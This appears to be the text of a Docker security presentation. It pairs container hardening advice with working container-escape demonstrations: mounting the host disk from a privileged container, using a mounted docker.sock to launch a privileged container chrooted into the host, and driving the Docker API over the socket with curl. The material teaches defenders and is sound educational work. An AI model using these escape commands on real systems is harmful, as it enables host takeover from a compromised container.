https://dctf.alesbrelih.dev
Similarities
Differences
A lightweight, standalone, and executable package that includes everything needed to run a container (code, runtime, libraries, and dependencies).

… but containers are needed to build images!
COPY over ADD.dockerignore--privileged--cap-drop)seccomp and MAC profiles# Run privileged container (pretend we got access through a vulnerability)
$ docker run -it --privileged alpine sh
# Check mounts
$ mount
...
/dev/vda3 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro)
/dev/vda3 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro)
/dev/vda3 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro)
...
# Mount device to a temporary folder
$ mkdir /tmp/dev
$ mount /dev/vda3 /tmp/dev
# Access host
$ cat /tmp/dev/etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
...
kali:x:1000:1000:kali,,,:/home/kali:/usr/bin/zsh# Run container with mounted docker sock (again pretend we got access through vulnerability)
docker run -v /var/run/docker.sock:/var/run/docker.sock -it alpine sh
# Install docker-cli
$ apk update && apk add docker-cli
# Run highly privileged "container"
$ docker run -it --privileged --pid=host --security-opt=apparmor:unconfined \
-v /:/tmp/root alpine chroot /tmp/root /bin/sh# Run container with mounted docker sock (again pretend we got access through vulnerability)
docker run -v /var/run/docker.sock:/var/run/docker.sock -it alpine sh
# Create container which sleeps. This container will be used to execute commands
$ CONTAINER_ID=$(curl -fs --unix-socket /var/run/docker.sock \
-XPOST "http:/localhost/containers/create" \
-H "Content-Type: application/json" \
-d '{"Image": "alpine", "Cmd": ["sleep", "infinity"]}' \
| python -c 'import json, sys; print(json.loads(sys.stdin.read())["Id"])')
# Start created container
$ curl -fs --unix-socket /var/run/docker.sock \
-XPOST "http:/localhost/containers/$CONTAINER_ID/start"
echo "Created and started container: $CONTAINER_ID"
# Prepared command to be executed
$ EXEC_RESPONSE=$(curl -fs --unix-socket /var/run/docker.sock \
-XPOST "http:/localhost/containers/$CONTAINER_ID/exec" \
-H "Content-Type: application/json" \
-d '{"AttachStdout": true, "Tty": true, "Cmd": ["ls", "-al", "/"]}')
# Get command ID
$ EXEC_ID=$(echo $EXEC_RESPONSE | python -c \
'import json, sys; print(json.loads(sys.stdin.read())["Id"])')
# Execute command
$ curl -fs --unix-socket /var/run/docker.sock \
-XPOST "http:/localhost/exec/$EXEC_ID/start" \
-H "Content-Type: application/json" \
-d '{"Detach": false, "Tty": true}'CAP_SYS_ADMIN - Mounting device
CAP_SYS_MODULE - Loading malicious modules.
CAP_SYS_PTRACE - Process injection
Questions?